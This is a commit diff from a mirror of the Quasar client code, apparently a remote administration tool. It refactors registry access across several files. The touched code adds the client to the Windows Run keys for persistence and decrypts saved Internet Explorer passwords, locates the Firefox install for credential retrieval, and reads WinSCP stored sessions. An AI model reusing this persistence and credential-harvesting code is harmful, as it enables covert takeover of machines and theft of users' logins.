mirror of https://github.com/quasar/Quasar.git
Fixed registry access
This commit is contained in:
parent
ae503bebe4
commit
c4b2070806
|
@ -59,31 +59,31 @@ namespace xClient.Core.Commands
|
|||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
onError("GetDirectory: No permission");
|
||||
onError("GetDirectory No permission");
|
||||
}
|
||||
catch (SecurityException)
|
||||
{
|
||||
onError("GetDirectory: No permission");
|
||||
onError("GetDirectory No permission");
|
||||
}
|
||||
catch (PathTooLongException)
|
||||
{
|
||||
onError("GetDirectory: Path too long");
|
||||
onError("GetDirectory Path too long");
|
||||
}
|
||||
catch (DirectoryNotFoundException)
|
||||
{
|
||||
onError("GetDirectory: Directory not found");
|
||||
onError("GetDirectory Directory not found");
|
||||
}
|
||||
catch (FileNotFoundException)
|
||||
{
|
||||
onError("GetDirectory: File not found");
|
||||
onError("GetDirectory File not found");
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
onError("GetDirectory: I/O error");
|
||||
onError("GetDirectory I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("GetDirectory: Failed");
|
||||
onError("GetDirectory Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
|
@ -184,23 +184,23 @@ namespace xClient.Core.Commands
|
|||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
onError("DeletePath: No permission");
|
||||
onError("DeletePath No permission");
|
||||
}
|
||||
catch (PathTooLongException)
|
||||
{
|
||||
onError("DeletePath: Path too long");
|
||||
onError("DeletePath Path too long");
|
||||
}
|
||||
catch (DirectoryNotFoundException)
|
||||
{
|
||||
onError("DeletePath: Path not found");
|
||||
onError("DeletePath Path not found");
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
onError("DeletePath: I/O error");
|
||||
onError("DeletePath I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("DeletePath: Failed");
|
||||
onError("DeletePath Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
|
@ -238,23 +238,23 @@ namespace xClient.Core.Commands
|
|||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
onError("RenamePath: No permission");
|
||||
onError("RenamePath No permission");
|
||||
}
|
||||
catch (PathTooLongException)
|
||||
{
|
||||
onError("RenamePath: Path too long");
|
||||
onError("RenamePath Path too long");
|
||||
}
|
||||
catch (DirectoryNotFoundException)
|
||||
{
|
||||
onError("RenamePath: Path not found");
|
||||
onError("RenamePath Path not found");
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
onError("RenamePath: I/O error");
|
||||
onError("RenamePath I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("RenamePath: Failed");
|
||||
onError("RenamePath Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
|
|
|
@ -25,18 +25,18 @@ namespace xClient.Core.Commands
|
|||
}
|
||||
catch (IOException)
|
||||
{
|
||||
new Packets.ClientPackets.SetStatusFileManager("GetDrives: I/O error", false).Execute(client);
|
||||
new Packets.ClientPackets.SetStatusFileManager("GetDrives I/O error", false).Execute(client);
|
||||
return;
|
||||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
new Packets.ClientPackets.SetStatusFileManager("GetDrives: No permission", false).Execute(client);
|
||||
new Packets.ClientPackets.SetStatusFileManager("GetDrives No permission", false).Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
if (drives.Length == 0)
|
||||
{
|
||||
new Packets.ClientPackets.SetStatusFileManager("GetDrives: No drives", false).Execute(client);
|
||||
new Packets.ClientPackets.SetStatusFileManager("GetDrives No drives", false).Execute(client);
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -109,28 +109,28 @@ namespace xClient.Core.Commands
|
|||
{
|
||||
List<string> startupItems = new List<string>();
|
||||
|
||||
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "0" + formattedKeyValue));
|
||||
}
|
||||
}
|
||||
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "1" + formattedKeyValue));
|
||||
}
|
||||
}
|
||||
using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "2" + formattedKeyValue));
|
||||
}
|
||||
}
|
||||
using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
|
@ -139,14 +139,14 @@ namespace xClient.Core.Commands
|
|||
}
|
||||
if (PlatformHelper.Architecture == 64)
|
||||
{
|
||||
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "4" + formattedKeyValue));
|
||||
}
|
||||
}
|
||||
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
|
@ -178,28 +178,28 @@ namespace xClient.Core.Commands
|
|||
switch (command.Type)
|
||||
{
|
||||
case 0:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(Registry.LocalMachine,
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(Registry.LocalMachine,
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(Registry.CurrentUser,
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(Registry.CurrentUser,
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
|
@ -209,7 +209,7 @@ namespace xClient.Core.Commands
|
|||
if (PlatformHelper.Architecture != 64)
|
||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(Registry.LocalMachine,
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name, command.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
|
@ -219,7 +219,7 @@ namespace xClient.Core.Commands
|
|||
if (PlatformHelper.Architecture != 64)
|
||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(Registry.LocalMachine,
|
||||
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name, command.Path, true))
|
||||
{
|
||||
throw new Exception("Could not add value");
|
||||
|
@ -258,28 +258,28 @@ namespace xClient.Core.Commands
|
|||
switch (command.Type)
|
||||
{
|
||||
case 0:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(Registry.LocalMachine,
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(Registry.LocalMachine,
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(Registry.CurrentUser,
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(Registry.CurrentUser,
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
|
@ -289,7 +289,7 @@ namespace xClient.Core.Commands
|
|||
if (PlatformHelper.Architecture != 64)
|
||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(Registry.LocalMachine,
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", command.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
|
@ -299,7 +299,7 @@ namespace xClient.Core.Commands
|
|||
if (PlatformHelper.Architecture != 64)
|
||||
throw new NotSupportedException("Only on 64-bit systems supported");
|
||||
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(Registry.LocalMachine,
|
||||
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", command.Name))
|
||||
{
|
||||
throw new Exception("Could not remove value");
|
||||
|
|
|
@ -18,7 +18,7 @@ namespace xClient.Core.Extensions
|
|||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to get the value of the key using the specified key name. This method assumes
|
||||
/// Attempts to get the string value of the key using the specified key name. This method assumes
|
||||
/// correct input.
|
||||
/// </summary>
|
||||
/// <param name="key">The key of which we obtain the value of.</param>
|
||||
|
@ -28,10 +28,6 @@ namespace xClient.Core.Extensions
|
|||
/// defaultValue will be returned instead.</returns>
|
||||
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
|
||||
{
|
||||
// Before calling this, use something such as "IsNameOrValueNull" to make sure
|
||||
// that the input used for this method is usable. The responsibility for this
|
||||
// method is to take these valid parameters and try to get the value of them,
|
||||
// allowing exceptions if any are generated.
|
||||
try
|
||||
{
|
||||
return key.GetValue(keyName, defaultValue).ToString();
|
||||
|
|
|
@ -9,21 +9,23 @@ namespace xClient.Core.Helper
|
|||
/// <summary>
|
||||
/// Adds a value to the registry key.
|
||||
/// </summary>
|
||||
/// <param name="baseKey">The base key.</param>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <param name="name">The name of the value.</param>
|
||||
/// <param name="value">The value.</param>
|
||||
/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
|
||||
/// <returns>True on success, else False.</returns>
|
||||
public static bool AddRegistryKeyValue(RegistryKey baseKey, string path, string name, string value, bool addQuotes = false)
|
||||
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
|
||||
value = "\"" + value + "\"";
|
||||
using (RegistryKey key = baseKey.OpenWritableSubKeySafe(path))
|
||||
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
|
||||
{
|
||||
if (key == null) return false;
|
||||
|
||||
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
|
||||
value = "\"" + value + "\"";
|
||||
|
||||
key.SetValue(name, value);
|
||||
return true;
|
||||
}
|
||||
|
@ -35,17 +37,35 @@ namespace xClient.Core.Helper
|
|||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the specified value from the registry key.
|
||||
/// Opens a read-only registry key.
|
||||
/// </summary>
|
||||
/// <param name="baseKey">THe base key.</param>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <param name="name">The name of the value to delete.</param>
|
||||
/// <returns>True on success, else False.</returns>
|
||||
public static bool DeleteRegistryKeyValue(RegistryKey baseKey, string path, string name)
|
||||
/// <returns></returns>
|
||||
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = baseKey.OpenWritableSubKeySafe(path))
|
||||
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the specified value from the registry key.
|
||||
/// </summary>
|
||||
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
|
||||
/// <param name="path">The path to the registry key.</param>
|
||||
/// <param name="name">The name of the value to delete.</param>
|
||||
/// <returns>True on success, else False.</returns>
|
||||
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
|
||||
{
|
||||
if (key == null) return false;
|
||||
key.DeleteValue(name, true);
|
||||
|
|
|
@ -11,17 +11,17 @@ namespace xClient.Core.Installation
|
|||
{
|
||||
if (WindowsAccountHelper.GetAccountType() == "Admin")
|
||||
{
|
||||
bool success = RegistryKeyHelper.AddRegistryKeyValue(Registry.LocalMachine,
|
||||
bool success = RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath);
|
||||
|
||||
if (success) return true;
|
||||
|
||||
return RegistryKeyHelper.AddRegistryKeyValue(Registry.CurrentUser,
|
||||
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath);
|
||||
}
|
||||
else
|
||||
{
|
||||
return RegistryKeyHelper.AddRegistryKeyValue(Registry.CurrentUser,
|
||||
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath);
|
||||
}
|
||||
}
|
||||
|
@ -30,17 +30,17 @@ namespace xClient.Core.Installation
|
|||
{
|
||||
if (WindowsAccountHelper.GetAccountType() == "Admin")
|
||||
{
|
||||
bool success = RegistryKeyHelper.DeleteRegistryKeyValue(Registry.LocalMachine,
|
||||
bool success = RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
|
||||
|
||||
if (success) return true;
|
||||
|
||||
return RegistryKeyHelper.DeleteRegistryKeyValue(Registry.CurrentUser,
|
||||
return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
|
||||
}
|
||||
else
|
||||
{
|
||||
return RegistryKeyHelper.DeleteRegistryKeyValue(Registry.CurrentUser,
|
||||
return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
|
||||
}
|
||||
}
|
||||
|
|
|
@ -9,6 +9,8 @@ using xClient.Core.Data;
|
|||
using xClient.Core.Recovery.Utilities;
|
||||
using xClient.Core.Utilities;
|
||||
using System.Diagnostics;
|
||||
using xClient.Core.Extensions;
|
||||
using xClient.Core.Helper;
|
||||
|
||||
namespace xClient.Core.Recovery.Browsers
|
||||
{
|
||||
|
@ -186,7 +188,7 @@ namespace xClient.Core.Recovery.Browsers
|
|||
if (profiles.Length == 0)
|
||||
throw new IndexOutOfRangeException("No Firefox profiles could be found");
|
||||
|
||||
// return first profile, fuck it.
|
||||
// return first profile
|
||||
return profiles[0];
|
||||
}
|
||||
private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
|
||||
|
@ -199,46 +201,29 @@ namespace xClient.Core.Recovery.Browsers
|
|||
}
|
||||
private static DirectoryInfo GetFirefoxInstallPath()
|
||||
{
|
||||
DirectoryInfo firefoxPath = null;
|
||||
// get firefox path from registry
|
||||
// we'll search the 32bit install location
|
||||
RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
|
||||
// and lets try the 64bit install location just in case
|
||||
RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);
|
||||
|
||||
if (localMachine1 != null)
|
||||
using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine,
|
||||
@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox"))
|
||||
{
|
||||
string[] installedVersions = localMachine1.GetSubKeyNames();
|
||||
if (key == null) return null;
|
||||
|
||||
string[] installedVersions = key.GetSubKeyNames();
|
||||
|
||||
// we'll take the first installed version, people normally only have one
|
||||
if (installedVersions.Length == 0)
|
||||
throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
|
||||
|
||||
RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
|
||||
using (RegistryKey mainInstall = key.OpenSubKey(installedVersions[0]))
|
||||
{
|
||||
// get install directory
|
||||
string installPath = mainInstall.OpenReadonlySubKeySafe("Main")
|
||||
.GetValueSafe("Install Directory");
|
||||
|
||||
// get install directory
|
||||
string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
|
||||
if (string.IsNullOrEmpty(installPath))
|
||||
throw new NullReferenceException("Install string was null or empty");
|
||||
|
||||
if (installString == null)
|
||||
throw new NullReferenceException("Install string was null");
|
||||
|
||||
firefoxPath = new DirectoryInfo(installString);
|
||||
}
|
||||
else if (localMachine2 != null)
|
||||
{
|
||||
string[] installedVersions = localMachine2.GetSubKeyNames();
|
||||
// we'll take the first installed version, people normally only have one
|
||||
if (installedVersions.Length == 0)
|
||||
throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
|
||||
|
||||
RegistryKey mainInstall = localMachine2.OpenSubKey(installedVersions[0]);
|
||||
|
||||
// get install directory
|
||||
string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
|
||||
|
||||
if (installString == null)
|
||||
throw new NullReferenceException("Install string was null");
|
||||
|
||||
firefoxPath = new DirectoryInfo(installString);
|
||||
firefoxPath = new DirectoryInfo(installPath);
|
||||
}
|
||||
}
|
||||
return firefoxPath;
|
||||
}
|
||||
|
|
|
@ -3,11 +3,13 @@ using System.Collections;
|
|||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Microsoft.Win32;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Helper;
|
||||
|
||||
namespace xClient.Core.Recovery.Browsers
|
||||
{
|
||||
|
@ -57,7 +59,7 @@ namespace xClient.Core.Recovery.Browsers
|
|||
}
|
||||
#endregion
|
||||
#region Private Methods
|
||||
private const string KeyStr = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2";
|
||||
private const string regPath = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2";
|
||||
|
||||
static T ByteArrayToStructure<T>(byte[] bytes) where T : struct
|
||||
{
|
||||
|
@ -69,6 +71,8 @@ namespace xClient.Core.Recovery.Browsers
|
|||
}
|
||||
static bool DecryptIePassword(string url, List<string[]> dataList)
|
||||
{
|
||||
byte[] cypherBytes;
|
||||
|
||||
//Get the hash for the passed URL
|
||||
string urlHash = GetURLHashString(url);
|
||||
|
||||
|
@ -77,14 +81,14 @@ namespace xClient.Core.Recovery.Browsers
|
|||
return false;
|
||||
|
||||
//Now retrieve the encrypted credentials for this registry hash entry....
|
||||
RegistryKey key = Registry.CurrentUser.OpenSubKey(KeyStr);
|
||||
if (key == null)
|
||||
return false;
|
||||
using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath))
|
||||
{
|
||||
if (key == null) return false;
|
||||
|
||||
//Retrieve encrypted data for this website hash...
|
||||
//First get the value...
|
||||
byte[] cypherBytes = (byte[])key.GetValue(urlHash);
|
||||
key.Close();
|
||||
//Retrieve encrypted data for this website hash...
|
||||
//First get the value...
|
||||
cypherBytes = (byte[])key.GetValue(urlHash);
|
||||
}
|
||||
|
||||
// to use URL as optional entropy we must include trailing null character
|
||||
byte[] optionalEntropy = new byte[2 * (url.Length + 1)];
|
||||
|
@ -149,37 +153,25 @@ namespace xClient.Core.Recovery.Browsers
|
|||
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
} //End of function
|
||||
static bool DoesURLMatchWithHash(string urlHash)
|
||||
{
|
||||
|
||||
// enumerate values of the target registry
|
||||
bool result = false;
|
||||
RegistryKey key = Registry.CurrentUser.OpenSubKey(KeyStr);
|
||||
if (key == null)
|
||||
return false;
|
||||
|
||||
string[] values = key.GetValueNames();
|
||||
foreach (string value in values)
|
||||
using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath))
|
||||
{
|
||||
if (key == null) return false;
|
||||
|
||||
// compare the value of the retrieved registry with the hash value of the history URL
|
||||
if (value == urlHash)
|
||||
{
|
||||
|
||||
if (key.GetValueNames().Any(value => value == urlHash))
|
||||
result = true;
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
return result;
|
||||
|
||||
}
|
||||
|
||||
static string GetURLHashString(string wstrURL)
|
||||
{
|
||||
|
||||
IntPtr hProv = IntPtr.Zero;
|
||||
IntPtr hHash = IntPtr.Zero;
|
||||
|
||||
|
@ -220,7 +212,6 @@ namespace xClient.Core.Recovery.Browsers
|
|||
CryptReleaseContext(hProv, 0);
|
||||
|
||||
return urlHash.ToString();
|
||||
|
||||
}
|
||||
#endregion
|
||||
#region Win32 Interop
|
||||
|
|
|
@ -4,6 +4,7 @@ using System.Collections.Generic;
|
|||
using System.Linq;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Extensions;
|
||||
using xClient.Core.Helper;
|
||||
|
||||
namespace xClient.Core.Recovery.FtpClients
|
||||
{
|
||||
|
@ -14,9 +15,9 @@ namespace xClient.Core.Recovery.FtpClients
|
|||
List<RecoveredAccount> data = new List<RecoveredAccount>();
|
||||
try
|
||||
{
|
||||
string RegKey = @"SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions";
|
||||
string regPath = @"SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions";
|
||||
|
||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey))
|
||||
using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath))
|
||||
{
|
||||
foreach (String subkeyName in key.GetSubKeyNames())
|
||||
{
|
||||
|
|
|
@ -49,7 +49,7 @@
|
|||
this.hUser = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.hPass = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||
this.groupBox2 = new System.Windows.Forms.GroupBox();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.lblInfo = new System.Windows.Forms.Label();
|
||||
this.txtFormat = new System.Windows.Forms.TextBox();
|
||||
this.menuMain.SuspendLayout();
|
||||
this.groupBox1.SuspendLayout();
|
||||
|
@ -154,6 +154,9 @@
|
|||
//
|
||||
// groupBox1
|
||||
//
|
||||
this.groupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
|
||||
| System.Windows.Forms.AnchorStyles.Left)
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.groupBox1.Controls.Add(this.lstPasswords);
|
||||
this.groupBox1.Location = new System.Drawing.Point(12, 12);
|
||||
this.groupBox1.Name = "groupBox1";
|
||||
|
@ -164,6 +167,9 @@
|
|||
//
|
||||
// lstPasswords
|
||||
//
|
||||
this.lstPasswords.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
|
||||
| System.Windows.Forms.AnchorStyles.Left)
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.lstPasswords.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
|
||||
this.hIdentification,
|
||||
this.hURL,
|
||||
|
@ -201,7 +207,9 @@
|
|||
//
|
||||
// groupBox2
|
||||
//
|
||||
this.groupBox2.Controls.Add(this.label1);
|
||||
this.groupBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.groupBox2.Controls.Add(this.lblInfo);
|
||||
this.groupBox2.Controls.Add(this.txtFormat);
|
||||
this.groupBox2.Location = new System.Drawing.Point(12, 343);
|
||||
this.groupBox2.Name = "groupBox2";
|
||||
|
@ -210,19 +218,22 @@
|
|||
this.groupBox2.TabStop = false;
|
||||
this.groupBox2.Text = "Custom Saving/Copying Format";
|
||||
//
|
||||
// label1
|
||||
// lblInfo
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(35, 50);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(467, 26);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "You can change the way the accounts are saved by adjusting the format in the box " +
|
||||
this.lblInfo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.lblInfo.Location = new System.Drawing.Point(35, 50);
|
||||
this.lblInfo.Name = "lblInfo";
|
||||
this.lblInfo.Size = new System.Drawing.Size(467, 26);
|
||||
this.lblInfo.TabIndex = 1;
|
||||
this.lblInfo.Text = "You can change the way the accounts are saved by adjusting the format in the box " +
|
||||
"above.\r\nAvailable variables: APP, URL, USER, PASS\r\n";
|
||||
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
|
||||
this.lblInfo.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
|
||||
//
|
||||
// txtFormat
|
||||
//
|
||||
this.txtFormat.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)
|
||||
